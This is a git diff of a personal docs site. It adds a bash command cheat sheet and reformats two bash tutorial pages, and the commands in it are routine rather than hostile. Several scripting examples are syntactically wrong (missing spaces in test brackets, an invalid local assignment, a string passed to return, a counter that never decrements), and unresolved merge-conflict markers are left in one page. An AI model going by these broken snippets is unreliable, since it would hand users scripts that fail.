+```bash
+rm foo.txt            # Delete file
+rm -f|--force foo.txt # Delete file, ignore nonexistent files and never prompt
+```
+
+## Reading Files
+
+```bash
+cat foo.txt            # Print all contents
+less foo.txt           # Print some contents at a time (g - go to top of file, SHIFT+g, go to bottom of file, /foo to search for 'foo')
+head foo.txt           # Print top 10 lines of file
+tail foo.txt           # Print bottom 10 lines of file
+open foo.txt           # Open file in the default editor
+wc foo.txt             # List number of lines words and characters in the file
+```
+
+## File Permissions
+
+| # | Permission              | rwx | Binary |
+| - | -                       | -   | -      |
+| 7 | read, write and execute | rwx | 111    |
+| 6 | read and write          | rw- | 110    |
+| 5 | read and execute        | r-x | 101    |
+| 4 | read only               | r-- | 100    |
+| 3 | write and execute       | -wx | 011    |
+| 2 | write only              | -w- | 010    |
+| 1 | execute only            | --x | 001    |
+| 0 | none                    | --- | 000    |
+
+For a directory, execute means you can enter a directory.
+
+| User | Group | Others | Description                                                                                          |
+| -    | -     | -      | -                                                                                                    |
+| 6    | 4     | 4      | User can read and write, everyone else can read (Default file permissions)                           |
+| 7    | 5     | 5      | User can read, write and execute, everyone else can read and execute (Default directory permissions) |
+
+- u - User
+- g - Group
+- o - Others
+- a - All of the above
+
+```bash
+ls -l /foo.sh            # List file permissions
+chmod +100 foo.sh        # Add 1 to the user permission
+chmod -100 foo.sh        # Subtract 1 from the user permission
+chmod u+x foo.sh         # Give the user execute permission
+chmod g+x foo.sh         # Give the group execute permission
+chmod u-x,g-x foo.sh     # Take away the user and group execute permission
+chmod u+x,g+x,o+x foo.sh # Give everybody execute permission
+chmod a+x foo.sh         # Give everybody execute permission
+chmod +x foo.sh          # Give everybody execute permission
+```
+
+## Finding Files
+
+Find binary files for a command.
+
+```bash
+type wget                                  # Find the binary
+which wget                                 # Find the binary
+whereis wget                               # Find the binary, source, and manual page files
+```
+
+`locate` uses an index and is fast.
+
+```bash
+updatedb                                   # Update the index
+
+locate foo.txt                             # Find a file
+locate --ignore-case                       # Find a file and ignore case
+locate f*.txt                              # Find a text file starting with 'f'
+```
+
+`find` doesn't use an index and is slow.
+
+```bash
+find /path -name foo.txt                   # Find a file
+find /path -iname foo.txt                  # Find a file with case insensitive search
+find /path -name "*.txt"                   # Find all text files
+find /path -name foo.txt -delete           # Find a file and delete it
+find /path -name "*.png" -exec pngquant {} # Find all .png files and execute pngquant on it
+find /path -type f -name foo.txt           # Find a file
+find /path -type d -name foo               # Find a directory
+find /path -type l -name foo.txt           # Find a symbolic link
+find /path -type f -mtime +30              # Find files that haven't been modified in 30 days
+find /path -type f -mtime +30 -delete      # Delete files that haven't been modified in 30 days
+```
+
+## Find in Files
+
+```bash
+grep 'foo' /bar.txt                         # Search for 'foo' in file 'bar.txt'
+grep 'foo' /bar -r|--recursive              # Search for 'foo' in directory 'bar'
+grep 'foo' /bar -R|--dereference-recursive  # Search for 'foo' in directory 'bar' and follow symbolic links
+grep 'foo' /bar -l|--files-with-matches     # Show only files that match
+grep 'foo' /bar -L|--files-without-match    # Show only files that don't match
+grep 'Foo' /bar -i|--ignore-case            # Case insensitive search
+grep 'foo' /bar -x|--line-regexp            # Match the entire line
+grep 'foo' /bar -C|--context 1              # Add N line of context above and below each search result
+grep 'foo' /bar -v|--invert-match           # Show only lines that don't match
+grep 'foo' /bar -c|--count                  # Count the number lines that match
+grep 'foo' /bar -n|--line-number            # Add line numbers
+grep 'foo' /bar --colour                    # Add colour to output
+grep 'foo\|bar' /baz -R                     # Search for 'foo' or 'bar' in directory 'baz'
+grep --extended-regexp|-E 'foo|bar' /baz -R # Use regular expressions
+egrep 'foo|bar' /baz -R                     # Use regular expressions
+```
+
+### Replace in Files
+
+```bash
+sed 's/fox/bear/g' foo.txt               # Replace fox with bear in foo.txt and output to console
+sed 's/fox/bear/gi' foo.txt              # Replace fox (case insensitive) with bear in foo.txt and output to console
+sed 's/red fox/blue bear/g' foo.txt      # Replace red with blue and fox with bear in foo.txt and output to console
+sed 's/fox/bear/g' foo.txt > bar.txt     # Replace fox with bear in foo.txt and save in bar.txt
+sed 's/fox/bear/g' foo.txt -i|--in-place # Replace fox with bear and overwrite foo.txt
+```
+
+## Symbolic Links
+
+```bash
+ln -s|--symbolic foo bar            # Create a link 'bar' to the 'foo' folder
+ln -s|--symbolic -f|--force foo bar # Overwrite an existing symbolic link 'bar'
+ls -l                               # Show where symbolic links are pointing
+```
+
+## Compressing Files
+
+### zip
+
+Compresses one or more files into *.zip files.
+
+```bash
+zip foo.zip /bar.txt                # Compress bar.txt into foo.zip
+zip foo.zip /bar.txt /baz.txt       # Compress bar.txt and baz.txt into foo.zip
+zip foo.zip /{bar,baz}.txt          # Compress bar.txt and baz.txt into foo.zip
+zip -r|--recurse-paths foo.zip /bar # Compress directory bar into foo.zip
+```
+
+### gzip
+
+Compresses a single file into *.gz files.
+
+```bash
+gzip /bar.txt foo.gz           # Compress bar.txt into foo.gz and then delete bar.txt
+gzip -k|--keep /bar.txt foo.gz # Compress bar.txt into foo.gz
+```
+
+### tar -c
+
+Compresses (optionally) and combines one or more files into a single *.tar, *.tar.gz, *.tpz or *.tgz file.
+
+```bash
+tar -c|--create -z|--gzip -f|--file=foo.tgz /bar.txt /baz.txt # Compress bar.txt and baz.txt into foo.tgz
+tar -c|--create -z|--gzip -f|--file=foo.tgz /{bar,baz}.txt    # Compress bar.txt and baz.txt into foo.tgz
+tar -c|--create -z|--gzip -f|--file=foo.tgz /bar              # Compress directory bar into foo.tgz
+```
+
+## Decompressing Files
+
+### unzip
+
+```bash
+unzip foo.zip          # Unzip foo.zip into current directory
+```
+
+### gunzip
+
+```bash
+gunzip foo.gz           # Unzip foo.gz into current directory and delete foo.gz
+gunzip -k|--keep foo.gz # Unzip foo.gz into current directory
+```
+
+### tar -x
+
+```bash
+tar -x|--extract -z|--gzip -f|--file=foo.tar.gz # Un-compress foo.tar.gz into current directory
+tar -x|--extract -f|--file=foo.tar              # Un-combine foo.tar into current directory
+```
+
+## Disk Usage
+
+```bash
+df                     # List disks, size, used and available space
+df -h|--human-readable # List disks, size, used and available space in a human readable format
+
+du                     # List current directory, subdirectories and file sizes
+du /foo/bar            # List specified directory, subdirectories and file sizes
+du -h|--human-readable # List current directory, subdirectories and file sizes in a human readable format
+du -d|--max-depth      # List current directory, subdirectories and file sizes within the max depth
+du -d 0                # List current directory size
+```
+
+## Memory Usage
+
+```bash
+free                   # Show memory usage
+free -h|--human        # Show human readable memory usage
+free -h|--human --si   # Show human readable memory usage in power of 1000 instead of 1024
+free -s|--seconds 5    # Show memory usage and update continuously every five seconds
+```
+
+## Packages
+
+```bash
+apt update             # Refreshes repository index
+apt search wget        # Search for a package
+apt show wget          # List information about the wget package
+apt install wget       # Install the wget package
+apt remove wget        # Removes the wget package
+apt upgrade            # Upgrades all upgradable packages
+```
+
+## Shutdown and Reboot
+
+```bash
+shutdown                     # Shutdown in 1 minute
+shutdown now "Cya later"     # Immediately shut down
+shutdown +5 "Cya later"      # Shutdown in 5 minutes
+
+shutdown --reboot            # Reboot in 1 minute
+shutdown -r now "Cya later"  # Immediately reboot
+shutdown -r +5 "Cya later"   # Reboot in 5 minutes
+
+shutdown -c                  # Cancel a shutdown or reboot
+
+reboot                       # Reboot now
+reboot -f                    # Force a reboot
+```
+
+## Identifying Processes
+
+```bash
+top                    # List all processes interactively
+htop                   # List all processes interactively
+ps all                 # List all processes
+pidof foo              # Return the PID of all foo processes
+
+CTRL+Z                 # Suspend a process running in the foreground
+bg                     # Resume a suspended process and run in the background
+fg                     # Bring the last background process to the foreground
+fg 1                   # Bring the background process with the PID to the foreground
+
+sleep 30 &             # Sleep for 30 seconds and move the process into the background
+jobs                   # List all background jobs
+jobs -p                # List all background jobs with their PID
+
+lsof                   # List all open files and the process using them
+lsof -itcp:4000        # Return the process listening on port 4000
+```
+
+## Process Priority
+
+Process priorities go from -20 (highest) to 19 (lowest).
+
+```bash
+nice -n -20 foo        # Change process priority by name
+renice 20 PID          # Change process priority by PID
+ps -o ni PID           # Return the process priority of PID
+```
+
+## Killing Processes
+
+```bash
+CTRL+C                 # Kill a process running in the foreground
+kill PID               # Shut down process by PID gracefully. Sends TERM signal.
+kill -9 PID            # Force shut down of process by PID. Sends SIGKILL signal.
+pkill foo              # Shut down process by name gracefully. Sends TERM signal.
+pkill -9 foo           # force shut down process by name. Sends SIGKILL signal.
+killall foo            # Kill all process with the specified name gracefully.
+```
+
+## Date & Time
+
+```bash
+date                   # Print the date and time
+date --iso-8601        # Print the ISO8601 date
+date --iso-8601=ns     # Print the ISO8601 date and time
+
+time tree              # Time how long the tree command takes to execute
+```
+
+## Scheduled Tasks
+
+```pre
+   *      *         *         *           *
+Minute, Hour, Day of month, Month, Day of the week
+```
+
+```bash
+crontab -l                 # List cron tab
+crontab -e                 # Edit cron tab in Vim
+crontab /path/crontab      # Load cron tab from a file
+crontab -l > /path/crontab # Save cron tab to a file
+
+* * * * * foo              # Run foo every minute
+*/15 * * * * foo           # Run foo every 15 minutes
+0 * * * * foo              # Run foo every hour
+15 6 * * * foo             # Run foo daily at 6:15 AM
+44 4 * * 5 foo             # Run foo every Friday at 4:44 AM
+0 0 1 * * foo              # Run foo at midnight on the first of the month
+0 0 1 1 * foo              # Run foo at midnight on the first of the year
+
+at -l                      # List scheduled tasks
+at -c 1                    # Show task with ID 1
+at -r 1                    # Remove task with ID 1
+at now + 2 minutes         # Create a task in Vim to execute in 2 minutes
+at 12:34 PM next month     # Create a task in Vim to execute at 12:34 PM next month
+at tomorrow                # Create a task in Vim to execute tomorrow
+```
+
+## HTTP Requests
+
+```bash
+curl https://example.com                               # Return response body
+curl -i|--include https://example.com                  # Include status code and HTTP headers
+curl -L|--location https://example.com                 # Follow redirects
+curl -o|--remote-name foo.txt https://example.com      # Output to a text file
+curl -H|--header "User-Agent: Foo" https://example.com # Add a HTTP header
+curl -X|--request POST -H "Content-Type: application/json" -d|--data '{"foo":"bar"}' https://example.com # POST JSON
+curl -X POST -H --data-urlencode foo="bar" http://example.com                           # POST URL Form Encoded
+
+wget https://example.com/file.txt .                            # Download a file to the current directory
+wget -O|--output-document foo.txt https://example.com/file.txt # Output to a file with the specified name
+```
+
+## Network Troubleshooting
+
+```bash
+ping example.com            # Send multiple ping requests using the ICMP protocol
+ping -c 10 -i 5 example.com # Make 10 attempts, 5 seconds apart
+
+ip addr                     # List IP addresses on the system
+ip route show               # Show IP addresses to router
+
+netstat -i|--interfaces     # List all network interfaces and in/out usage
+netstat -l|--listening      # List all open ports
+
+traceroute example.com      # List all servers the network traffic goes through
+
+mtr -w|--report-wide example.com                                    # Continually list all servers the network traffic goes through
+mtr -r|--report -w|--report-wide -c|--report-cycles 100 example.com # Output a report that lists network traffic 100 times
+
+nmap 0.0.0.0                # Scan for the 1000 most common open ports on localhost
+nmap 0.0.0.0 -p1-65535      # Scan for open ports on localhost between 1 and 65535
+nmap 192.168.4.3            # Scan for the 1000 most common open ports on a remote IP address
+nmap -sP 192.168.1.1/24     # Discover all machines on the network by ping'ing them
+```
+
+## DNS
+
+```bash
+host example.com            # Show the IPv4 and IPv6 addresses
+
+dig example.com             # Show complete DNS information
+
+cat /etc/resolv.conf        # resolv.conf lists nameservers
+```
+
+## Hardware
+
+```bash
+lsusb                  # List USB devices
+lspci                  # List PCI hardware
+lshw                   # List all hardware
+```
+
+## Terminal Multiplexers
+
+Start multiple terminal sessions. Active sessions persist reboots. `tmux` is more modern than `screen`.
+
+```bash
+tmux             # Start a new session (CTRL-b + d to detach)
+tmux ls          # List all sessions
+tmux attach -t 0 # Reattach to a session
+
+screen           # Start a new session (CTRL-a + d to detach)
+screen -ls       # List all sessions
+screen -R 31166  # Reattach to a session
+
+exit             # Exit a session
+```
+
+## Secure Shell Protocol (SSH)
+
+```bash
+ssh hostname                 # Connect to hostname using your current user name over the default SSH port 22
+ssh -i foo.pem hostname      # Connect to hostname using the identity file
+ssh user@hostname            # Connect to hostname using the user over the default SSH port 22
+ssh user@hostname -p 8765    # Connect to hostname using the user over a custom port
+ssh ssh://user@hostname:8765 # Connect to hostname using the user over a custom port
+```
+
+Set default user and port in `~/.ssh/config`, so you can just enter the name next time:
+
+```bash
+$ cat ~/.ssh/config
+Host name
+  User foo
+  Hostname 127.0.0.1
+  Port 8765
+$ ssh name
+```
+
+## Secure Copy
+
+```bash
+scp foo.txt ubuntu@hostname:/home/ubuntu # Copy foo.txt into the specified remote directory
+```
+
+## Bash Profile
+
+- bash - `.bashrc`
+- zsh - `.zshrc`
+
+```bash
+# Always run ls after cd
+function cd {
+  builtin cd "$@" && ls
+}
+
+# Prompt user before overwriting any files
+alias cp='cp --interactive'
+alias mv='mv --interactive'
+alias rm='rm --interactive'
+
+# Always show disk usage in a human readable format
+alias df='df -h'
+alias du='du -h'
+```
+
+## Bash Script
+
+### Variables
+
+```bash
+#!/bin/bash
+
+foo=123                # Initialize variable foo with 123
+declare -i foo=123     # Initialize an integer foo with 123
+declare -r foo=123     # Initialize readonly variable foo with 123
+echo $foo              # Print variable foo
+echo ${foo}_'bar'      # Print variable foo followed by _bar
+echo ${foo:-'default'} # Print variable foo if it exists otherwise print default
+
+export foo             # Make foo available to child processes
+unset foo              # Make foo unavailable to child processes
+```
+
+### Environment Variables
+
+```bash
+#!/bin/bash
+
+env        # List all environment variables
+echo $PATH # Print PATH environment variable
+```
+
+### Functions
+
+```bash
+#!/bin/bash
+
+greet() {
+  local world = "World"
+  echo "$1 $world"
+  return "$1 $world"
+}
+greet "Hello"
+greeting=$(greet "Hello")
+```
+
+### Exit Codes
+
+```bash
+#!/bin/bash
+
+exit 0   # Exit the script successfully
+exit 1   # Exit the script unsuccessfully
+echo $?  # Print the last exit code
+```
+
+### Conditional Statements
+
+#### Boolean Operators
+
+- `$foo` - Is true
+- `!$foo` - Is false
+
+#### Numeric Operators
+
+- `-eq` - Equals
+- `-ne` - Not equals
+- `-gt` - Greater than
+- `-ge` - Greater than or equal to
+- `-lt` - Less than
+- `-le` - Less than or equal to
+- `-e` foo.txt - Check file exists
+- `-z` foo - Check if variable exists
+
+#### String Operators
+
+- `=` - Equals
+- `==` - Equals
+- `-z` - Is null
+- `-n` - Is not null
+- `<` - Is less than in ASCII alphabetical order
+- `>` - Is greater than in ASCII alphabetical order
+
+#### If Statements
+
+```bash
+#!/bin/bash
+
+if [[$foo = 'bar']]; then
+  echo 'one'
+elif [[$foo = 'bar']] || [[$foo = 'baz']]; then
+  echo 'two'
+elif [[$foo = 'ban']] && [[$USER = 'bat']]; then
+  echo 'three'
+else
+  echo 'four'
+fi
+```
+
+#### Inline If Statements
+
+```bash
+#!/bin/bash
+
+[[ $USER = 'rehan' ]] && echo 'yes' || echo 'no'
+```
+
+#### While Loops
+
+```bash
+#!/bin/bash
+
+declare -i counter
+counter=10
+while [$counter -gt 2]; do
+  echo The counter is $counter
+  counter=counter-1
+done
+```
+
+#### For Loops
+
+```bash
+#!/bin/bash
+
+for i in {0..10..2}
+  do
+    echo "Index: $i"
+  done
+
+for filename in file1 file2 file3
+  do
+    echo "Content: " >> $filename
+  done
+
+for filename in *;
+  do
+    echo "Content: " >> $filename
+  done
+```
+
+#### Case Statements
+
+```bash
+#!/bin/bash
+
+echo "What's the weather like tomorrow?"
+read weather
+
+case $weather in
+  sunny | warm ) echo "Nice weather: " $weather
+  ;;
+  cloudy | cool ) echo "Not bad weather: " $weather
+  ;;
+  rainy | cold ) echo "Terrible weather: " $weather
+  ;;
+  * ) echo "Don't understand"
+  ;;
+esac
+```
diff --git a/src/pages/docs/tutorials/bash-commands-my.md b/src/pages/docs/tutorials/bash-commands-my.md
index 96dfa28eb5..8a9cb0ad58 100644
--- a/src/pages/docs/tutorials/bash-commands-my.md
+++ b/src/pages/docs/tutorials/bash-commands-my.md
@@ -3,11 +3,11 @@ title: Bash Commands Tutorial
 weight: 0
 excerpt: Here's a list of bash commands that stand between me and insanity.
 seo:
-    title: 'Bash Commands Tutorial'
-    description: 'Bash Commands That Save Me Time and Frustration'
-    robots: []
-    extra: []
-    type: stackbit_page_meta
+  title: "Bash Commands Tutorial"
+  description: "Bash Commands That Save Me Time and Frustration"
+  robots: []
+  extra: []
+  type: stackbit_page_meta
 template: docs
 ---
 
@@ -26,7 +26,7 @@ Here's a list of bash commands that stand between me and insanity.
 **This article will be accompanied by the following** [**github repository**](https://github.com/bgoonz/bash-commands-walkthrough) **which will contain all the commands listed as well as folders that demonstrate before and after usage!**
 
 [**bgoonz/bash-commands-walkthrough**\
-*to accompany the medium article I am writing. Contribute to bgoonz/bash-commands-walkthrough development by creating an...*github.com](https://github.com/bgoonz/bash-commands-walkthrough 'https://github.com/bgoonz/bash-commands-walkthrough')[](https://github.com/bgoonz/bash-commands-walkthrough)
+*to accompany the medium article I am writing. Contribute to bgoonz/bash-commands-walkthrough development by creating an...*github.com](https://github.com/bgoonz/bash-commands-walkthrough "https://github.com/bgoonz/bash-commands-walkthrough")[](https://github.com/bgoonz/bash-commands-walkthrough)
 
 > The [readme](https://github.com/bgoonz/bash-commands-walkthrough#readme) for this git repo will provide a much more condensed list... whereas this article will break up the commands with explanations... images & links!
 
@@ -56,8 +56,8 @@ To see the list of files and directories in the current directory use `ls` comma
 
 Shows all of my files and directories of my Desktop directory.
 
--   To show the contents of a directory pass the directory name to the `ls` command i.e. `ls directory_name`.
--   Some useful `ls` command options:-
+- To show the contents of a directory pass the directory name to the `ls` command i.e. `ls directory_name`.
+- Some useful `ls` command options:-
 
 OptionDescriptionls -alist all files including hidden file starting with '.'ls -llist with the long formatls -lalist long format including hidden files
 
@@ -137,13 +137,13 @@ Renamed my hello.txt file to the hi.txt file and html directory to the folder di
 
 To do this, we use the `cp` command.
 
--   You can copy a file by entering `cp file_to_copy new_file_name`.
+- You can copy a file by entering `cp file_to_copy new_file_name`.
 
 [![](https://camo.githubusercontent.com/9b67b2ef374ba0f1457b24007824ea5b65ca861a100397322d1a13f30a70818f/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f302a6b434c56744b4e396f4b5062486652462e676966)](https://camo.githubusercontent.com/9b67b2ef374ba0f1457b24007824ea5b65ca861a100397322d1a13f30a70818f/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f302a6b434c56744b4e396f4b5062486652462e676966)
 
 Copied my hi.txt file content into hello.txt file. For confirmation open your hello.txt file in your text editor.
 
--   You can also copy a directory by adding the `-r` option, like `cp -r directory_to_copy new_directory_name`.
+- You can also copy a directory by adding the `-r` option, like `cp -r directory_to_copy new_directory_name`.
 
 _The_ `-r` _option for "recursive" means that it will copy all of the files including the files inside of subfolders._
 
@@ -155,13 +155,13 @@ Here I copied all of the files from the folder to folder-copy.
 
 To do this, we use the `rm` command.
 
--   To remove a file, you can use the command like `rm file_to_remove`.
+- To remove a file, you can use the command like `rm file_to_remove`.
 
 [![](https://camo.githubusercontent.com/e35ef5a179966ed8271639d381b997455862bb77794f0b8c219f7ffada7168da/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f302a6f68436d6474686439325f4841365a652e676966)](https://camo.githubusercontent.com/e35ef5a179966ed8271639d381b997455862bb77794f0b8c219f7ffada7168da/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f302a6f68436d6474686439325f4841365a652e676966)
 
 Here I removed my hi.txt file.
 
--   To remove a directory, use the command like `rm -r directory_to_remove`.
+- To remove a directory, use the command like `rm -r directory_to_remove`.
 
 [![](https://camo.githubusercontent.com/5622af09767bfd626db8e52f5e040afeaf16be692b75a3069f7b01d74c1c4ee6/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f302a766f44627a7753707732344132526a512e676966)](https://camo.githubusercontent.com/5622af09767bfd626db8e52f5e040afeaf16be692b75a3069f7b01d74c1c4ee6/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f302a766f44627a7753707732344132526a512e676966)
 
@@ -230,12 +230,12 @@ find . \( -name "*SECURITY.txt" -o -name "*RELEASE.txt" -o -name "*CHANGELOG.txt
 The following output from my bash shell corresponds to the directory:
 
 [**bgoonz/bash-commands-walkthrough**\
-*Deployment github-pages Navigation Big O notation is the language we use for talking about how long an algorithm takes...*github.com](https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/3-clean-up-fluf/DS-ALGO-OFFICIAL-master 'https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/3-clean-up-fluf/DS-ALGO-OFFICIAL-master')[](https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/3-clean-up-fluf/DS-ALGO-OFFICIAL-master)
+*Deployment github-pages Navigation Big O notation is the language we use for talking about how long an algorithm takes...*github.com](https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/3-clean-up-fluf/DS-ALGO-OFFICIAL-master "https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/3-clean-up-fluf/DS-ALGO-OFFICIAL-master")[](https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/3-clean-up-fluf/DS-ALGO-OFFICIAL-master)
 
 #### which was created by running the aforementioned commands in in a perfect copy of this directory
 
 [**bgoonz/DS-ALGO-OFFICIAL**\
-*Deployment github-pages Navigation Big O notation is the language we use for talking about how long an algorithm takes...*github.com](https://github.com/bgoonz/DS-ALGO-OFFICIAL 'https://github.com/bgoonz/DS-ALGO-OFFICIAL')[](https://github.com/bgoonz/DS-ALGO-OFFICIAL)
+*Deployment github-pages Navigation Big O notation is the language we use for talking about how long an algorithm takes...*github.com](https://github.com/bgoonz/DS-ALGO-OFFICIAL "https://github.com/bgoonz/DS-ALGO-OFFICIAL")[](https://github.com/bgoonz/DS-ALGO-OFFICIAL)
 
 > **.....below is the terminal output for the following commands:**
 
@@ -383,7 +383,7 @@ cmd $listing --sort=extension >>$html
 **I will use this copy of my Data Structures Practice Site to demonstrate the result:**
 
 [**side-projects-42/DS-Bash-Examples-Deploy**\
-*Deployment github-pages Navigation Big O notation is the language we use for talking about how long an algorithm takes...*github.com](https://github.com/side-projects-42/DS-Bash-Examples-Deploy 'https://github.com/side-projects-42/DS-Bash-Examples-Deploy')[](https://github.com/side-projects-42/DS-Bash-Examples-Deploy)
+*Deployment github-pages Navigation Big O notation is the language we use for talking about how long an algorithm takes...*github.com](https://github.com/side-projects-42/DS-Bash-Examples-Deploy "https://github.com/side-projects-42/DS-Bash-Examples-Deploy")[](https://github.com/side-projects-42/DS-Bash-Examples-Deploy)
 
 [![](https://camo.githubusercontent.com/0f97bdb9d1167b14f340044bcdca3eb0472acc4c80dcc9c1db4f13ad6900bf20/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a5075754454557669583547366d6a612d35654b5549772e706e67)](https://camo.githubusercontent.com/0f97bdb9d1167b14f340044bcdca3eb0472acc4c80dcc9c1db4f13ad6900bf20/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a5075754454557669583547366d6a612d35654b5549772e706e67)
 
@@ -392,7 +392,7 @@ cmd $listing --sort=extension >>$html
 > here is a link to and photo of the resulting html file:
 
 [**index.html**\
-*CONTENT/DS-n-Algos/*quirky-meninsky-4181b5.netlify.app](https://quirky-meninsky-4181b5.netlify.app/ 'https://quirky-meninsky-4181b5.netlify.app/')[](https://quirky-meninsky-4181b5.netlify.app/)
+*CONTENT/DS-n-Algos/*quirky-meninsky-4181b5.netlify.app](https://quirky-meninsky-4181b5.netlify.app/ "https://quirky-meninsky-4181b5.netlify.app/")[](https://quirky-meninsky-4181b5.netlify.app/)
 
 [![](https://camo.githubusercontent.com/ce04a06e4fc2c23c62fd6a9dbea96125b5920b8c53a1c62434325989768cd1a7/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a414f5962577655474e39794a3463654e7a41474773772e706e67)](https://camo.githubusercontent.com/ce04a06e4fc2c23c62fd6a9dbea96125b5920b8c53a1c62434325989768cd1a7/68747470733a2f2f63646e2d696d616765732d312e6d656469756d2e636f6d2f6d61782f3830302f312a414f5962577655474e39794a3463654e7a41474773772e706e67)
 
@@ -505,7 +505,7 @@ Posted Thursday, April 22, 2021 by Teon Brooks
 **the test.txt and result.md files can be found here:**
 
 [**bgoonz/bash-commands-walkthrough**\
-*to accompany the medium article I am writing. Contribute to bgoonz/bash-commands-walkthrough development by creating an...*github.com](https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/6-remove-lines-contaning-bad-text 'https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/6-remove-lines-contaning-bad-text')[](https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/6-remove-lines-contaning-bad-text)
+*to accompany the medium article I am writing. Contribute to bgoonz/bash-commands-walkthrough development by creating an...*github.com](https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/6-remove-lines-contaning-bad-text "https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/6-remove-lines-contaning-bad-text")[](https://github.com/bgoonz/bash-commands-walkthrough/tree/master/steps/6-remove-lines-contaning-bad-text)
 
 ---
 
@@ -694,12 +694,12 @@ find . -name '*.md' | cpio -pdm './../outputFolder'
 ### Discover More
 
 [**Web-Dev-Hub**\
-*Memoization, Tabulation, and Sorting Algorithms by Example Why is looking at runtime not a reliable method of...*bgoonz-blog.netlify.app](https://bgoonz-blog.netlify.app/ 'https://bgoonz-blog.netlify.app/')[](https://bgoonz-blog.netlify.app/)
+*Memoization, Tabulation, and Sorting Algorithms by Example Why is looking at runtime not a reliable method of...*bgoonz-blog.netlify.app](https://bgoonz-blog.netlify.app/ "https://bgoonz-blog.netlify.app/")[](https://bgoonz-blog.netlify.app/)
 
 ### Part 2 of this series
 
 [**Medium**\
-_Continued!!!medium.com_](https://medium.com/@bryanguner/life-saving-bash-scripts-part-2-b40c8ee22682 'https://medium.com/@bryanguner/life-saving-bash-scripts-part-2-b40c8ee22682')[](https://medium.com/@bryanguner/life-saving-bash-scripts-part-2-b40c8ee22682)
+_Continued!!!medium.com_](https://medium.com/@bryanguner/life-saving-bash-scripts-part-2-b40c8ee22682 "https://medium.com/@bryanguner/life-saving-bash-scripts-part-2-b40c8ee22682")[](https://medium.com/@bryanguner/life-saving-bash-scripts-part-2-b40c8ee22682)
 
 ---
 
diff --git a/src/pages/docs/tutorials/bash.md b/src/pages/docs/tutorials/bash.md
index 9b840c2a25..e6c253ee95 100644
--- a/src/pages/docs/tutorials/bash.md
+++ b/src/pages/docs/tutorials/bash.md
@@ -33,7 +33,7 @@ template: docs
 
 -   Use `xargs` (or `parallel`). It's very powerful. Note you can control how many items execute per line (`-L`) as well as parallelism (`-P`). If you're not sure if it'll do the right thing, use `xargs echo` first. Also, `-I{}` is handy. Examples:
 
-```bash
+```console
       find . -name '*.py' | xargs grep some_function
       cat hosts | xargs -I{} ssh root@{} hostname
 ```
@@ -64,14 +64,14 @@ template: docs
 
 -   In Bash scripts, use `set -x` (or the variant `set -v`, which logs raw input, including unexpanded variables and comments) for debugging output. Use strict modes unless you have a good reason not to: Use `set -e` to abort on errors (nonzero exit code). Use `set -u` to detect unset variable usages. Consider `set -o pipefail` too, to abort on errors within pipes (though read up on it more if you do, as this topic is a bit subtle). For more involved scripts, also use `trap` on EXIT or ERR. A useful habit is to start a script like this, which will make it detect and abort on common errors and print a message:
 
-```bash
+```console
       set -euo pipefail
       trap "echo 'error: Script failed: see failed command above'" ERR
 ```
 
 -   In Bash scripts, subshells (written with parentheses) are convenient ways to group commands. A common example is to temporarily move to a different working directory, e.g.
 
-```bash
+```console
       # do something in current dir
       (cd /some/other/dir && other-command)
       # continue in original dir
@@ -85,13 +85,17 @@ template: docs
 
 -   The output of a command can be treated like a file via `<(some command)` (known as process substitution). For example, compare local `/etc/hosts` with a remote one:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       diff /etc/hosts <(ssh somehost cat /etc/hosts)
 ```
 
 -   When writing scripts you may want to put all of your code in curly braces. If the closing brace is missing, your script will be prevented from executing due to a syntax error. This makes sense when your script is going to be downloaded from the web, since it prevents partially downloaded scripts from executing:
 
-```bash
+```console
 {
       # Your code here
 }
@@ -132,7 +136,11 @@ EOF
 
 -   To get the permissions on a file in octal form, which is useful for system configuration but not available in `ls` and easy to bungle, use something like
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       stat -c '%A %a %n' /etc/timezone
 ```
 
@@ -194,13 +202,21 @@ EOF
 
 -   To replace all occurrences of a string in place, in one or more files:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       perl -pi.bak -e 's/old-string/new-string/g' my-files-*.txt
 ```
 
 -   To rename multiple files and/or search and replace within files, try [`repren`](https://github.com/jlevy/repren). (In some cases the `rename` command also allows multiple renames, but be careful as its functionality is not the same on all Linux distributions.)
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
       # Full rename of filenames, directories, and contents foo -> bar:
       repren --full --preserve-case --from foo --to bar .
       # Recover backup files whatever.bak -> whatever:
@@ -211,7 +227,11 @@ EOF
 
 -   As the man page says, `rsync` really is a fast and extraordinarily versatile file copying tool. It's known for synchronizing between machines but is equally useful locally. When security restrictions allow, using `rsync` instead of `scp` allows recovery of a transfer without restarting from scratch. It also is among the [fastest ways](https://web.archive.org/web/20130929001850/http://linuxnote.net/jianingy/en/linux/a-fast-way-to-remove-huge-number-of-files.html) to delete large numbers of files:
 
+<<<<<<< HEAD
 ```sh
+=======
+```console
+>>>>>>> master
 mkdir empty && rsync -r --delete empty/ some-dir && rmdir some-dir
 ```
 
